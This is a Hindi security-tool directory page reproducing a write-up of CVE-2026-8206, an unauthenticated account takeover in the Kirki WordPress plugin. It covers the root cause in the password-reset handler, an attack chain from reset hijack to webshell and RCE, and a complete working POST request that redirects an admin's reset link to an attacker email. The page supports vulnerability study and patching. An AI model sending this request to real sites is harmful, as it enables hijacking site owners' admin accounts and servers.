Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-8206 — CVE-2026-8206: Kirki कस्टमाइज़र फ्रेमवर्क - बिना प्रमाणीकरण के खाता अधिग्रहण (CVSS 9.8) | Kitploit
उपकरण/GitHubGitHub/dungsocool/cve-2026-8206
पासवर्ड हमलेभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगप्रमाणीकरणपेपर और शोधलर्निंग और शिक्षापेलोड डेवलपमेंट
GitHubdungsocool/cve-2026-8206

CVE-2026-8206

CVE-2026-8206: Kirki कस्टमाइज़र फ्रेमवर्क - बिना प्रमाणीकरण के खाता अधिग्रहण (CVSS 9.8)

1422 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
रिपॉजिटरी देखें

CVE-2026-8206

भेद्यता: किर्की कस्टमाइज़र फ्रेमवर्क में बिना प्रमाणीकरण के खाता अधिग्रहण — पासवर्ड रीसेट ईमेल अपहरण

CVSS v3.1 9.8 / 10.0 CRITICAL

Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H


1. अवलोकन

CVE-2026-8206, Kirki Customizer Framework में एक बिना प्रमाणीकरण के खाता अधिग्रहण (Unauthenticated Account Takeover) भेद्यता है — यह एक लोकप्रिय WordPress पेज बिल्डर प्लगइन है जिसके 90,000 से अधिक सक्रिय इंस्टॉलेशन हैं। यह भेद्यता एक हमलावर को केवल एक HTTP अनुरोध भेजकर किसी भी WordPress खाते (एडमिन सहित) पर कब्ज़ा करने की अनुमति देती है।

यह बग ComponentLibrary मॉड्यूल के REST API एंडपॉइंट kirki-forgot-password में स्थित है। यह एंडपॉइंट किसी भी उपयोगकर्ता के लिए पासवर्ड रीसेट का अनुरोध करने की अनुमति देता है और रीसेट लिंक को उपयोगकर्ता के पंजीकृत ईमेल के बजाय हमलावर द्वारा निर्दिष्ट ईमेल पते पर भेजता है।

जानकारीविवरण
प्लगइनKirki Customizer Framework (WordPress Page Builder)
प्रभावित संस्करण6.0.0 – 6.0.6
पैच किया गया6.0.7 (या 6.0.12+)
भेद्यता प्रकारपासवर्ड रीसेट ईमेल अपहरण के माध्यम से बिना प्रमाणीकरण के खाता अधिग्रहण
एंडपॉइंट/index.php?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password (या /wp-json/KirkiComponentLibrary/v1/kirki-forgot-password)
CVSS9.8 CRITICAL

शोषण हेतु पूर्वापेक्षाएँ:

  • Kirki Customizer Framework 6.0.0–6.0.6 सक्रिय हो
  • REST API सार्वजनिक हो (WordPress डिफ़ॉल्ट)
  • ComponentLibrary मॉड्यूल सक्रिय हो (प्लगइन सक्रिय होने पर यह डिफ़ॉल्ट होता है)
  • किसी खाते या सत्र की आवश्यकता नहीं होती

→ Kirki 6.0.0–6.0.6 इंस्टॉल वाली हर WordPress साइट डिफ़ॉल्ट रूप से भेद्य है।

2. शब्दावली

ComponentLibrary REST एंडपॉइंट्स

Kirki, Component Library सुविधा के लिए REST API एंडपॉइंट पंजीकृत करता है, जिनमें login, register, forgot-password और change-password शामिल हैं। ये सभी अतिथि (guest) पहुंच की अनुमति देते हैं (guest_permissions_check true लौटाता है)।

Nonce सत्यापन

WordPress nonce एक CSRF सुरक्षा टोकन है। Kirki को X-WP-Element-Nonce हेडर के माध्यम से nonce की आवश्यकता होती है या अनुरोध में nonce पैरामीटर की जाँच करता है। हालाँकि, nonce को क्लाइंट साइड से सार्वजनिक रूप से उत्पन्न/निकाला जा सकता है।

पासवर्ड रीसेट कुंजी

WordPress पासवर्ड रीसेट टोकन उत्पन्न करने के लिए get_password_reset_key() का उपयोग करता है। यह टोकन भेजने से पहले Kirki द्वारा ईमेल टेम्पलेट में शामिल किया जाता है।

3. मूल कारण — पासवर्ड रीसेट ईमेल अपहरण

फ़ाइल: ComponentLibrary/controller/CompLibFormHandler.php

बग 1: ईमेल-से-उपयोगकर्ता सत्यापन का अभाव

भेद्य संस्करण (6.0.0–6.0.6) में, handle_forgot_password() फ़ंक्शन यह सत्यापित नहीं करता है कि प्रदान किया गया ईमेल उपयोगकर्ता के पंजीकृत ईमेल से मेल खाता है या नहीं। एक हमलावर पीड़ित का उपयोगकर्ता नाम और अपना स्वयं का ईमेल निर्दिष्ट कर सकता है — रीसेट लिंक हमलावर के ईमेल पर भेज दिया जाएगा।

भेद्य स्रोत कोड:

public function handle_forgot_password( $request ) {
    $form_data = $request->get_body_params();
    $this->validate_nonce( 'kirki-forgot-password' );

    $email    = $form_data['email'];     // <-- ATTACKER CONTROLLED
    $username = $form_data['username'];

    $user = get_user_by( 'login', $username );
    //BUG: Does NOT check $email === $user->user_email
    //      Attacker's email is used directly

    $key = get_password_reset_key( $user );
    $reset_link = "$url?action=rp&key=$key&login=$username";

    // SENDS RESET LINK TO ATTACKER'S EMAIL
    wp_mail( $email, $subject, $body_with_reset_link );
    //       ^^^^^
    //  ATTACKER'S EMAIL, NOT THE USER'S EMAIL
}

बग 2: ईमेल टेम्पलेट पर HMAC हस्ताक्षर का अभाव

ईमेल का विषय और बॉडी क्लाइंट से emailSubject और emailBody पैरामीटर के माध्यम से बिना किसी HMAC हस्ताक्षर के प्राप्त होते हैं, जिससे अखंडता (integrity) की पुष्टि नहीं होती। हमलावर भेजे जा रहे ईमेल की सामग्री को मनमाने ढंग से संशोधित कर सकता है।

// VULNERABLE VERSION: No HMAC verification
$email_subject = $form_data['emailSubject'];   // Client-controlled
$email_body    = $form_data['emailBody'];       // Client-controlled
// No verify_email_template_signature()

// PATCHED VERSION (6.0.7+): HMAC verification / Email matching against DB
$user_email = $user->get( 'user_email' );
if ( $email !== $user_email ) {
    return new WP_REST_Response( array( 'message' => 'If an account exists...' ), 200 );
}

4. यह भेद्यता खतरनाक क्यों है

कारकस्पष्टीकरण
कोई प्रमाणीकरण आवश्यक नहींguest_permissions_check() true लौटाता है — कोई भी एंडपॉइंट को कॉल कर सकता है
किसी भी खाते पर कब्ज़ा किया जा सकता हैकेवल उपयोगकर्ता नाम की आवश्यकता है (डिफ़ॉल्ट: 'admin') — ईमेल/पासवर्ड की आवश्यकता नहीं
प्रभाव: एडमिन अधिग्रहणएडमिन अधिग्रहण → वेबशेल अपलोड → RCE → पूर्ण सर्वर नियंत्रण
व्यापक प्रसारKirki एक प्लगइन है जो कई WordPress थीम्स में व्यापक रूप से एकीकृत है

5. आक्रमण श्रृंखला विश्लेषण

CVE-2026-8206 का शोषण शून्य पहुंच से शुरू होता है — कोई खाता नहीं, कोई पासवर्ड नहीं, कोई सत्र नहीं — केवल HTTP अनुरोधों का उपयोग करके पूर्ण एडमिन अधिग्रहण तक।

Phase 1: Extract Nonce       → Obtain nonce from a public page (if required)
Phase 2: Hijack Reset Email  → Send reset link to attacker's email
Phase 3: Reset Password      → Change admin password using the obtained reset key
Phase 4: Login Admin         → Log in with the new password
Phase 5: Webshell Upload     → Install backdoor via plugin upload
Phase 6: RCE                 → Execute arbitrary commands on the server

5.0 पेलोड निर्माण पद्धति

चरण 1: स्रोत कोड पढ़ना (सबसे सटीक तरीका)

प्लगइन को wordpress.org से डाउनलोड करें और CompLibFormHandler.php फ़ाइल को सीधे खोलें:

// The handle_forgot_password function receives data from the client:
$email_subject = isset( $form_data['emailSubject'] )
                 ? sanitize_text_field( $form_data['emailSubject'] ) : '';
$email_body = isset( $form_data['emailBody'] )
              ? json_decode( $form_data['emailBody'], true ) : '';
// Email body rendering logic:
foreach ( $email_body as $body_data ) {
    if ( $body_data['type'] === 'text' ) {
        $email_body = $email_body . $body_data['value'];
    } elseif ( $body_data['type'] === 'chip' ) {
        $email_body = $email_body . $chip_data[ $body_data['value'] ];
        //                                     ^^^^^^^^^^^^^^^^^^^
        //                $chip_data['reset_link'] = actual reset URL!
    }
}

→ कोड पढ़ने से पता चलता है: emailBody एक JSON सरणी होनी चाहिए, प्रत्येक आइटम में type और value होता है। यदि type = chip और value = reset_link है, तो Kirki स्वचालित रूप से रीसेट लिंक को ईमेल में सम्मिलित कर देता है।

चरण 2: प्लगइन के JavaScript बंडल में grep करना

प्लगइन निर्देशिका के भीतर सीधे grep करें:

grep -r "emailBody" wp-content/plugins/kirki/assets/js/
grep -r "reset_link" wp-content/plugins/kirki/assets/js/

संकलित फ्रंटएंड कोड आवश्यक सटीक JSON संरचना को उजागर करेगा।

पेलोड खोज प्रक्रिया सारांश:

Find endpoint (/wp-json/ or rest_route)
       ↓
Read PHP source → find $form_data['emailBody']
       ↓
Understand JSON array format (type / value)
       ↓
Read chip_data array → find key "reset_link"
       ↓
Build payload: emailBody=[{"type":"chip","value":"reset_link"}]
       ↓
Test → success

5.1 चरण 1: पासवर्ड रीसेट ईमेल को अपहृत करें

हमलावर forgot-password एंडपॉइंट पर पीड़ित के उपयोगकर्ता नाम (admin) और हमलावर द्वारा नियंत्रित एक ईमेल पते ([email protected]) के साथ POST अनुरोध भेजता है। सर्वर पीड़ित के लिए एक रीसेट कुंजी उत्पन्न करता है लेकिन रीसेट लिंक [email protected] पर भेजता है।

अनुरोध भेजना:

POST /index.php?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password HTTP/1.1
Host: localhost:8181
Content-Type: application/x-www-form-urlencoded

username=admin&[email protected]&emailSubject=Password+Reset&emailBody=%5B%7B%22type%22%3A%22text%22%2C%22value%22%3A%22Reset%3A+%22%7D%2C%7B%22type%22%3A%22chip%22%2C%22value%22%3A%22reset_link%22%7D%5D
टूल डाउनलोड करें